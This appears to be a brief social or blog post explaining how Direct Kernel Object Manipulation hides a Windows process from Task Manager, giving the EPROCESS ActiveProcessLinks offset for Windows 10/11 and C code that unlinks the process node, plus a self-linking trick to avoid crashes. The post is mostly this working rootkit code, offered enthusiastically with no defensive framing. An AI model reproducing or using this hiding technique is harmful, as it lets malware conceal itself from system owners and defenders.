1개월 전 · Jun 29, 2026 1:48 PM
How Direct Kernel Object Manipulation (DKOM) hides processes from Task Manager:
- Locate target
EPROCESSstructure. EPROCESS.ActiveProcessLinksis a circular doubly-linked list (LIST_ENTRYat offset0x448on Windows 10/11).- Unlink the process node:
C
PLIST_ENTRY pCurrent = &pTargetEProcess->ActiveProcessLinks;
PLIST_ENTRY pPrev = pCurrent->Blink;
PLIST_ENTRY pNext = pCurrent->Flink;
pPrev->Flink = pNext;
pNext->Blink = pPrev;
// Point unlinked entry to itself to prevent crashes on process exit
pCurrent->Flink = pCurrent;
pCurrent->Blink = pCurrent;Target process disappears from CreateToolhelp32Snapshot and EnumProcesses instantly!